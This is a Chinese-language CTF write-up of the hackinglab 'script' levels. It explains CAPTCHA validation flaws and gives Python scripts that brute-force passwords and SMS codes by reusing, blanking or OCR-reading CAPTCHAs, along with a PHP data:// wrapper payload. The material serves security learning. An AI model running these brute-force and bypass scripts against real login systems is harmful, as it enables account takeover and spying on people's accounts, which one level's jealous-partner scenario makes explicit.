hackinglab补充学习(脚本关)

第一关:key又又找不到了

小明这次哭了,key又找不到了!!! key啊,你究竟藏到了哪里,为什么我看到的页面上都没有啊!!!!!! 通关地址 抓包直接过

第二关:快速口算

小明要参加一个高技能比赛,要求每个人都要能够快速口算四则运算,2秒钟之内就能够得到结果,但是小明就是一个小学生没有经过特殊的培训,那小明能否通过快速口算测验呢? 通关地址

1
2
3
4
5
6
import re
import requests

u=requests.session()
print(u.post('http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php',data={'v':eval(str(re.findall(r'
\n ([^=]+)=',u.get('http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php').text)[0]))}).text)
第三关:这个题目是空的

Tips:这个题目真不是随便设置的。 什么才是空的呢? 通关地址:没有,请直接提交答案(小写即可) 一脸懵逼然后去百度,然后才知道答案是null....是在下输了...

第四关:怎么就是不弹出key呢?

提交说明:提交前14个字符即可过关 通关地址 这种js我一直不知道怎么搞,后来猜知道这个东西叫匿名函数,直接执行也是有一些方法的,百度一下你就知道,比如前面可以加上~,-,+什么的,或者后面加上一个括号,但是又要保证是表达式所以前面加上一个! 比如这道题我们就可以

1
2
3
4
5
!function (){
var b=function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1s(1e(p,a,c,k,e,r){e=1e(c){1d(c<a?\'\':e(1p(c/a)))+((c=c%a)>1q?1f.1j(c+1k):c.1n(1o))};1g(!\'\'.1h(/^/,1f)){1i(c--)r[e(c)]=k[c]e(c);k=[1e(e){1d r[e]}];e=1e(){1d\'\\\\w+\'};c=1};1i(c--)1g(k[c])p=p.1h(1l 1m(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1d p}(\'Y(R(p,a,c,k,e,r){e=R(c){S(c<a?\\\'\\\':e(18(c/a)))+((c=c%a)>17?T.16(c+15):c.12(13))};U(!\\\'\\\'.V(/^/,T)){W(c--)r[e(c)]=k[c]e(c);k=[R(e){S r[e]}];e=R(){S\\\'\\\\\\\\w+\\\'};c=1};W(c--)U(k[c])p=p.V(Z 11(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);S p}(\\\'G(B(p,a,c,k,e,r){e=B(c){A c.L(a)};E(!\\\\\\\'\\\\\\\'.C(/^/,F)){D(c--)r[e(c)]=k[c]e(c);k=[B(e){A r[e]}];e=B(){A\\\\\\\'\\\\\\\\\\\\\\\\w+\\\\\\\'};c=1};D(c--)E(k[c])p=p.C(I J(\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\'+e(c)+\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\',\\\\\\\'g\\\\\\\'),k[c]);A p}(\\\\\\\'t(h(p,a,c,k,e,r){e=o;n(!\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\'.m(/^/,o)){l(c--)r[c]=k[c]c;k=[h(e){f r[e]}];e=h(){f\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\w+\\\\\\\\\\\\\\\'};c=1};l(c--)n(k[c])p=p.m(q s(\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\'+e(c)+\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\',\\\\\\\\\\\\\\\'g\\\\\\\\\\\\\\\'),k[c]);f p}(\\\\\\\\\\\\\\\'1 3="6";1 4="7";1 5="";8(1 2=0;2<9;2++){5+=3+4}\\\\\\\\\\\\\\\',j,j,\\\\\\\\\\\\\\\'uibcdvxyj\\\\\\\\\\\\\\\'.z(\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\'),0,{}))\\\\\\\',H,H,\\\\\\\'ABMDCEFIJGNOPQK\\\\\\\'.K(\\\\\\\'\\\\\\\'),0,{}))\\\',X,X,\\\'SRVWUTY13Z11141210191a1b1c\\\'.14(\\\'\\\'),0,{}))\',1t,1u,\'1e1d1f1g1h1i1v1s1l1m1n1o1r1k1j1q1p1w1x1y1z\'.1r(\'\'),0,{}))',62,98,'returnfunctionStringifreplacewhilefromCharCode29newRegExptoString36parseInt35spliteval627553varslakfjteslkjsdflkfor'.split(''),0,{});
var d=eval(b);
alert("key is first 14 chars "+d.substr(0,14));
}()

往控制台一扔就可以了

验证码系列

通过百度了解了一波 设置以及验证验证码的流程(自己的理解...): 1.写一个vcode.php,程序里面实现一个生成验证码的程序然后把验证码加密(hash)放进session或cookie(虽然我觉得放在session里面会安全一些...) 2.在登录页面显示验证码以及表单等待用户输入 3.在验证页面把用户输入的值进行加密(hash)然后和session值或cookie值对比,相等的话就验证成功,否则失败(指的只是验证码). 当然,如果设置不当这里也存在一些漏洞 比如

1.验证码仅通过cookie验证

如果你把验证码加密然后只放在cookie里面,那么hacker可以通过控制cookie来控制验证码的答案 比如你验证码1234,cookie用md5(1234),然后验证的时候是判断if(md5(\(\_POST\["vcode"\])==\)_COOKIE["xxx"]{一顿操作},那么用户可以通过把cookie["xxx"]设置成md5(1234),然后验证码设置为1234,那么这个判断就永远是正确的(当然客户端不需要知道你是不是md5,他只需要知道当绑定cookie之后发送相同验证码能不能通过验证就好了)

2.不进行非空判断

如果你在vcode.php里面设置了\(\_SESSION\["vcode"\],然后想通过这个来判断用户的输入,但是又没有对变量进行非空判断,那么用户可以直接post你的验证页面而不去访问你的表单页面,那么这个时候你的session还没有设置,所以为空,然后用户post一个空值过来那么验证就通过了.这个时候可以在判断的前面设置一个isset(\)_SESSION["xxx"])来判断,当然,最后还要记住把session值清掉,否则就会有下面这个漏洞

3.没有进行验证码的销毁

如果你最后没有对session进行清空,那么用户可以不返回你的表单页面而是直接再次请求,这个时候就可以多次尝试验证码的识别.

第五关:逗比验证码第一期

逗比的验证码,有没有难道不一样吗? 通关地址 第一道题就是验证码可以重复提交,那么验证码就相当于没有设置,你只需要一直往验证页面post第一次正确的验证码就可以.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import re
import threading

thread=[]
u=requests.session()
r=u.get('http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php')
vcode_url=re.findall(r'<img src="([^" />
',r.text)[0]
with open("vcode.png",'wb') as f:
f.write(u.get(vcode_url).content)
vcode=input("input vcode:")

def get_flag(start,end):
for each in range(start,end):
data={'username':'admin','pwd':each,'vcode':vcode}
r=u.post('http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php',data=data)
r.encoding=r.apparent_encoding
if 'error' not in r.text:
print(r.text)

for each in range(0,9):
thread.append(threading.Thread(target=get_flag,args=(1000+1000*each,2000+1000*each)))

if __name__=="__main__":
for each in thread:
each.start()
第六关:逗比验证码第二期

验证便失效的验证码 通关地址 这里验证了一次之后会验证码会失效,所以第一次正确输入,之后把验证码改为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import threading
import re

thread=[]
u=requests.session()
r=u.get('http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php')
vcode_url=re.findall(r'<img src="([^" />
',r.text)[0]
with open("vcode.png",'wb') as f:
f.write(u.get(vcode_url).content)
vcode=input("input vcode:")
data={'username':'admin','pwd':1000,'vcode':vcode}
r=u.post('http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php',data=data)
if 'error' not in r.text:
print(r.text)

def get_flag(start,end):
for each in range(start,end):
data={'username':'admin','pwd':each,'vcode':''}
r=u.post('http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php',data=data)
if 'error' not in r.text:
print(r.text)

for each in range(0,9):
thread.append(threading.Thread(target=get_flag,args=(1000+each*1000,2000+each*1000)))

if __name__=="__main__":
for each in thread:
each.start()
第七关:逗比验证码第三期

尼玛,验证码怎么可以这样逗比。。 验证码做成这样,你家里人知道吗? 通关地址 这里他说有session的验证,但由于我第二个脚本就已经用到了session,所以第二个脚本随意改一下就可以get第三个的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import threading
import re

thread=[]
u=requests.session()
r=u.get('http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php')
vcode_url=re.findall(r'<img src="([^" />
',r.text)[0]
with open("vcode.png",'wb') as f:
f.write(u.get(vcode_url).content)
vcode=input("input vcode:")
data={'username':'admin','pwd':1000,'vcode':vcode}
r=u.post('http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php',data=data)
if 'error' not in r.text:
print(r.text)

def get_flag(start,end):
for each in range(start,end):
data={'username':'admin','pwd':each,'vcode':''}
r=u.post('http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php',data=data,headers=headers)
if 'error' not in r.text:
print(r.text)

for each in range(0,9):
thread.append(threading.Thread(target=get_flag,args=(1000+each*1000,2000+each*1000)))

if __name__=="__main__":
for each in thread:
each.start()
第八关:微笑一下就能过关了

尼玛,碰到这样的题我能笑得出来嘛... 通关地址 源码审计的题,看源代码之后发现几个点,第一个get请求的键为^^但是在正则判断里面又不允许键里面存在 这里用到了php的一个特性(学习到了....),php里面的键包含[]以及.的时候会被改写成_,所以我们key的值写.就好了,然后file方面我第一个想到了php://input,但是这里我(●'◡'●)老是搞不出来.....后来去网上看了一下,有同学说用url解码一下,然后学习了一个新脚本

1
2
3
4
5
# coding=utf-8
import urllib, sys
reload(sys)
sys.setdefaultencoding('utf-8')
print urllib.quote("(●'◡'●)")

所以这里得到了(●'◡'●)的urlencode值,然后post发过去就好了 当然,另外一种思路是用data协议....(以前都没听过...) payload:http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?.=data://text/plain;charset=unicode,(●'◡'●) 然后就搞到flag了

第九关:逗比的手机验证码

你的手机号码是13388886666,验证码将会以弹窗的形式给出 通关地址 不知道这道题出的什么鬼,反正很简单,直接获取验证码然后改手机号码登录就ok了,目测又是验证码和session对应了,然后回话不改变但是手机改变达到了目的

第十关:基情燃烧的岁月

Tips:你是一名黑客,你怀疑你的“(男/女)闺蜜”的出轨了,你要登陆TA手机的网上营业厅查看详单,一探究竟! 闺蜜手机号码:13388886666 通关地址 比较简单,验证码暴破就ok了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import threading
import re

thread=[]
u=requests.session()
headers={'Cookie':'PHPSESSID=6ebf3a78c82d6727a9fe117956aaa083'}
data={'getcode':'1','mobi':'13388886666'}
r=u.post('http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/vcode.php',data=data,headers=headers)

def get_flag(start,end):
for each in range(start,end):
data={'username':13388886666,
'vcode':each,
'Login':'submit'}
r=u.post('http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php',data=data,headers=headers)
if 'error' not in r.text:
print(r.text)

for each in range(0,9):
thread.append(threading.Thread(target=get_flag,args=(each*100+100,each*100+200)))

if __name__=="__main__":
for each in thread:
each.start()

得到回复:你伤心的发现他/她正在跟你的前男/女友勾搭.....于是下决心看看前任除了跟你的(男/女)闺蜜勾搭,是不是还跟别的勾搭..
前任的手机号码是:13399999999 所以再暴破一次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import threading
import re

thread=[]
u=requests.session()
headers={'Cookie':'PHPSESSID=6ebf3a78c82d6727a9fe117956aaa083'}
data={'getcode':'1','mobi':13399999999}
r=u.post('http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/vcode.php',data=data,headers=headers)

def get_flag(start,end):
for each in range(start,end):
data={'username':13399999999,
'vcode':each,
'Login':'submit'}
r=u.post('http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php',data=data,headers=headers)
if 'error' not in r.text:
print(r.text)

for each in range(0,9):
thread.append(threading.Thread(target=get_flag,args=(each*100+100,each*100+200)))

if __name__=="__main__":
for each in thread:
each.start()

第十一关:验证码识别

Tips:验证码依然是3位数 通关地址 这里加入了验证码来阻碍暴破,所以这里我们使用pytesseract库来帮我们识别 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import pytesseract
import re
from PIL import Image

u=requests.session()
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36'}
r=u.get('http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php',headers=headers)
data={'getcode':1,'mobi':13388886666}
u.post('http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/mobi_vcode.php',headers=headers,data=data)
for each in range(100,1000):
img=u.get('http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php',headers=headers).content
with open('1.png','wb') as f:
f.write(img)
vcode=''
error_time=0
while vcode=='' and error_time<3:
vcode=pytesseract.image_to_string(Image.open('1.png'))
vcode=vcode.replace(" ",'')
if error_time>=3:
img=u.get('http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php',headers=headers).content
with open('1.png','wb') as f:
f.write(img)
vcode=''
error_time=0
error_time+=1
data={'username':13388886666,
'mobi_code':each,
'user_code':vcode,
'Login':'submit'}
r=u.post('http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php',data=data,headers=headers)
if 'error' not in r.text:
print(r.text)

然后后面的xss不知道为什么打不开....脚本关就到这里了,验证码的东西还真学到了不少..